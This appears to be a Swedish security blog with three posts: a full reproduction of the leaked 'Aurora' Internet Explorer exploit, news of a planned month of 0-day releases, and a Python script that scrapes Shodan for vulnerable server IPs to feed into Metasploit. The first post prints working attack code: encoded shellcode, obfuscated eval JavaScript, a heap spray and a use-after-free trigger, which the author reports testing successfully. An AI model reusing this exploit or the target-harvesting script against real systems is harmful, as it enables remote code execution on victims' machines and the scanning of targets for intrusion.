AURORA – the new IE Exploit

Denna vecka har den stora IT-nyheten varit att (vad ryktet säger) Kina har tagit sig in i nätverk så som Google, Adobe , Juniper och 29 andra stora aktörer.
Lite senare fick vi höra att de hade tagit sig in via en 0-day i Internet Explorer. Microsoft har nu gått ut med att sårbarheten finns där och drabbar samtliga versioner av IE. Sårbarheten annses vara en av de allvarligaste på mycket länge och Microsft kommer att bryta sin “2:dra tisdagen i månaden” patch cykel och släppa en uppdatering inom de närmaste dagarna.

Nu har då exploiten aka. Aurora läkt ut. Attacken har utförts genoma att mycket välskrivna mail riktade specifikt till en del personer på insidan av dessa företag med en länk till sidor där javascriptet här under injectade följande shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<html><script>var sc = unescape("
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175
%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8
%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2
%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8
%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053
%ud9b2%u3081%udbb9%ud8d8%u213a%ub7b0%ud8b6%ub0d8
%uaaad%ub5b4%u538c%ud49e%u0830%ud8da%u53d8
%ub230%u81d9%u9a30%ud8db%u3ad8%ub021%uebb4%ud8ea
%uabb0%ubdb0%u8cb4%u9e53%u30d4%uda69%ud8d8
%u3053%ud9b2%u3081%udbfb%ud8d8%u213a%u3459%ud9d8
%ud8d8%u0453%u1b59%ud858%ud8d8%ud8b2%uc2b2
%ub28b%u27d8%u9c8e%u18eb%u5898%udbe4%uadd8%u5121
%u485e%ud8d8%u1fd8%udbdc%ub984%ubdf6%u9c1f
%udcdb%ubda0%ud8d8%u11eb%u8989%u8f8b%ueb89%u5318
%u989e%u8630%ud8da%u5bd8%ud820%u5dd7%ud9a7
%ud8d8%ud8b2%ud8b2%udbb2%ud8b2%udab2%ud8b0%ud8d8
%u8b18%u9e53%u30fc%udae5%ud8d8%u205b%ud727
%u865c%ud8d9%u51d8%ub89e%ud8b2%u2788%uf08e%u9e51
%u53bc%u485e%ud8d8%u1fd8%udbdc%uba84%ubdf6
%u9c1f%udcdb%ubda0%ud8d8%ud8b2%ud8b2%udab2%ud8b2
%ud8b2%ud8b0%ud8d8%u8b98%u9e53%u30fc%ud923
%ud8d8%u205b%ud727%uc45c%ud8d9%u51d8%u5c5e%ud8d8
%u51d8%u5446%ud8d8%u53d8%ub89e%ud8b2%ud8b2
%ud8b2%u9e53%u88b8%u8e27%u1fe0%ua89e%ud8d8%ud8d8
%u9e1f%ud8ac%ud8d8%u59d8%ud81f%ud8da%uebd8
%u5303%ubc86%ud8b2%u9e55%u88a8%ud8b0%ud8dc%u8fd8
%uae27%u27b8%udc8e%u11eb%ud861%ud8dc%u58d8
%ud7a4%u4d27%ud4ac%ua458%u27d7%uacd8%u58dd%ud7ac
%u4d27%u333a%u1b53%ud8f5%ud8dc%u5bd8%ud820
%udba7%u8651%ub2a8%u55d8%uac9e%u2788%ua8ae%u278f
%u5c6e%ud8d8%u27d8%ue88e%u3359%udcd8%ud8d8
%u235b%ua7d8%u277d%ub8ae%u8e27%u27ec%u5c6e%ud8d8
%u27d8%uec8e%u5e53%ud848%ud8d8%u4653%ud854
%ud8d8%udc1f%u84db%uf6b9%u8bbd%u8e27%u53f4%u5466
%ud8d8%u53d8%u485e%ud8d8%u1fd8%udfdc%uba84
%ubdf6%u3459%ud9d8%ud8d8%u0453%ud8b0%ud8d9%u8bd8
%ud8b0%ud8d9%u8fd8%ud8b2%ud8b2%u8e27%u53c4
%ueb23%ueb18%u5903%ud834%ud8da%u53d8%u5b14%u8c20
%ud0a5%uc451%u5bd9%udc18%u2b33%u1453%u0153
%u1b5b%uebc8%u8818%u8b89%u8888%u8888%u8888%u888f
%u5388%ud09e%u2f30%ud8d8%u53d8%ue4a6%uec30
%ud8d9%u30d8%ud8ef%ud8d8%ubbb0%uafae%ub0d8%ub0ab
%ub7bc%u538c%ud49e%u6e30%ud8d8%u51d8%ue49e
%u79bc%ud8dc%ud8d8%u7855%u27b8%u2727%ubdb2%uae27
%u53e4%uc89e%u4230%ud8d8%uebd8%u8b03%u8b8b
%u278b%u3008%ud83d%ud8d8%u3459%ud9d8%ud8d8%u2453
%u1f5b%u1fdc%ueadf%u49ac%u1fd4%udc9f%u51bb
%u9709%u9f1f%u78d0%u4fbd%u1f13%ud49f%u9889%ua762
%u9f1f%ue6c8%u6ec5%u1fe1%ucc9f%ub160%uc30c
%u9f1f%u66c0%ubea7%u1f78%uc49f%u7124%u75ef%u9f1f
%u40f8%uc8d2%ubc20%ue879%ud8d8%u53d8%ud498
%ua853%u75c4%ub053%u53d0%u512f%ubc8e%udcb2%u3081
%ud87b%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0
%ubdab%u8caa%ude53%uca30%ud8d8%u53d8%ub230%u81dd
%u5c30%ud8d8%u3ad8%ueb21%u8f27%u8e27%u58dc
%u30e0%ue058%uad31%u59c9%udda0%u4848%u4848%ud0ac
%u2753%u538d%u5534%udd98%u3827%ue030%ud8d8
%u1bd8%ue058%u5830%u31e0%uc9ad%ua059%u48dd%u4848
%uac48%ub03f%ud2d0%ud8d8%u9855%u27dd%u3038
%ud8cf%ud8d8%u301b%ud8c9%ud8d8%uc960%udcd9%u1a58
%ud8d4%uda33%u1b80%u2130%u2727%u8327%udf1e
%u5160%ud987%u1fbe%udd9f%u3827%u8b1b%u0453%ub28b
%ub098%uc8d8%ud8d8%u538f%uf89e%u5e30%u2727
%u8027%u891b%u538e%ue4ad%uac53%ua0f6%u2ddb%u538e
%uf8ae%u2ddb%u11eb%u9991%udb75%ueb1d%ud703
%uc866%u0ee2%ud0ac%u1319%udbdf%u9802%u2933%uc7e3
%u3fad%u5386%ufc86%u05db%u53be%u93d4%u8653
%udbc4%u5305%u53dc%u1ddb%u8673%u1b81%uc230%u2724
%u6a27%u3a2a%u6a2c%ud7ee%u28cb%ua390%ueae5
%u49ac%u5dd4%u7707%ubb63%u0951%u8997%u6298%udfa7
%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb
%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466
%u4003%uc8d2%u5820%u770e%u2342%ucd8b%ub0be
%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8
%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7
%ubcb9%ub2f6%ubfa8%u00d8");
var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280, 
238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833, 
728, 735, 756, 707, 280, 770, 322, 756, 707, 770, 721, 812, 728, 420, 427, 371, 350, 364, 
350, 392, 392, 287, 224, 770, 301, 427, 770, 413, 224, 770, 427, 770, 322, 805, 819, 686, 
805, 812, 798, 735, 770, 721, 280, 336, 448, 371, 350, 364, 350, 378, 399, 315, 805, 693, 
322, 756, 707, 770, 721, 812, 728, 287, 413, 826, 679, 798, 224, 840, 427, 770, 707, 833, 
224, 455, 798, 798, 679, 847, 280, 287, 413, 224, 714, 777, 798, 280, 826, 679, 798, 224, 
735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637, 
735, 651, 427, 770, 301, 805, 693, 413, 875);
var arr = new Array;
for (var i = 0; i < sss.length; i ++ ){
  arr[i] = String.fromCharCode(sss[i]/7); } var cc=arr.toString();cc=cc.replace(/ ,/ g, ""
  );
  cc = cc.replace(/@/g, ",");
  eval(cc);
  var x1 = new Array();
  for (i = 0; i < 200; i ++ ){
    x1[i] = document.createElement("COMMENT");
    x1[i].data = "abc";
  }
  ;
  var e1 = null;
  function ev1(evt){
    e1 = document.createEventObject(evt);
    document.getElementById("sp1").innerHTML = "";
    window.setInterval(ev2, 50);
  }
  function ev2(){
    p = "
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
    for (i = 0; i < x1.length; i ++ ){
      x1[i].data = p;
    }
    ;
    var t = e1.srcElement;
  }
</script><span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)"></span></body></html>

Bara timmar efter att exploiten hade läkt ut hade H.D Moore integrerat den till Metasploit.

Jag har bara testat mot WinXP med IE6 med lyckat resultat, men kommer försöka få igång fler set-up’s att testa mot under helgen.

The month of 0days

Det ryska säkerhetsföretaget Intevydis har lovat att göra januari till en jobbig månad för web och databas administratörer. Grundaren Evgeny Legerov har gått ut i media och sagt att mellan den 11 januari och den 6 februari kommer ett flertal 0days att publiceras på deras blog.

Det ryktas om sårbarheter i bland annat:
Web Servrar – Zeus web server, Sun web server och kanske även apache
Databaser – Mysql, Lotus Dominu, IBM DB2 och Informix.
Katalogservrar – Novell eDirectory, Sun Directory och Tivoli Directory

Intevydis säger sig göra detta pågrund av att mjukvaruföretagen förväntar sig att få till gång till PoC kod utan att betala för de tusentals timmar av QA som säkerhetsföretagen lägger på att hitta sårbarheter i programvaran.
I vissa fall så struntar till och med företagen i att patcha upp sårbarheterna efter att de har informerats om dem.
T.ex har en sårbarhet i RealPlayer rapporterats in av Intevydis för två år sedan och fortfarande finns sårbarheten i senaste releasen.

Intevydis menar även på att om sårbarheten visas upp för allmänheten kommer den patchas inom 24 timmar vilket man kan se i Open Source communityn.

Sen om detta är ett PR-trick kan diskuteras

Shodan query i terminalen

Under julledigheten fick jag lite tid över att leka lite mer med python vilket resulterade i att jag skrev ett litet program som kan utföra sökningar mot Shodan och sedan parsar ut ip nummerna och sparar dessa i en log vilken senare kan användas i till exempel metasploit.
Problem uppstog dock när jag skulle hitta på ett sätt att avsluta programet.
I version 1.0 så har jag löst det genom att page räknas upp med 1 varje för var sida och avslutas då page är mindre än 10, då Shodan bara har info på de 5-6 första sidorna i dagsläget trots att det finns flera sidor att blädra till. Inge vacker lösning så tips mottages.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python
import urllib2, sys, re
from BeautifulSoup import BeautifulSoup
 
def info():
  help = '''
    ShodanScanner v.1.0 h-kan@h-kan.com
 
    USAGE: ./shodanscanner -q  -f
    Ex: ./shodanscanner -q apache+2.2.1 -f scan.log
    This scan for apache servers and save the IP's into scan.log.
    More advanced query's could be used like
    - apache+2.2.11 Search for apache servers running version 2.2.11
    - +country:SE Search for servers located in sweden
    - +hostname:.se Search for servers with ".se" in hostname
    - +port:22 Search for servers with service running on port 22
  	'''
  print help
 
def crawler(page):
  try:
    sock = urllib2.urlopen("http://shodan.surtri.com/?q=%s&page=%i"%(args1,page))
    homepage = sock.read()
    htmlDom = BeautifulSoup(homepage)
    links = htmlDom.findAll('a', {'href': True})
    return links
  except:
    print "[-] Connection Failed"
    sys.exit(0)
 
if __name__ == "__main__":
  page = 1
    if len(sys.argv) != 5:
      info()
      print "usage: %s -q  -f "%sys.argv[0]
      sys.exit(0)
    else:
      if sys.argv[1].lower() == "-q":
        args1 = sys.argv[2]
      if sys.argv[3].lower() == "-f":
        args2 = sys.argv[4]
    log = open(args2,"a")
    print "[+] Searching query: %s"%args1
    log.write("[+] Searching query: %s"%args1)
    log.close()
    print "[+] please wait ..."
    while page <=10:
      data = crawler(page)
      for link in data:
        log = open(args2,"a")
        if re.search("http://",link['href']):
          link = link['href'].replace("http://","")
          print "%s"%link
          log.write("%s\n"%link)
        log.close()
      page += 1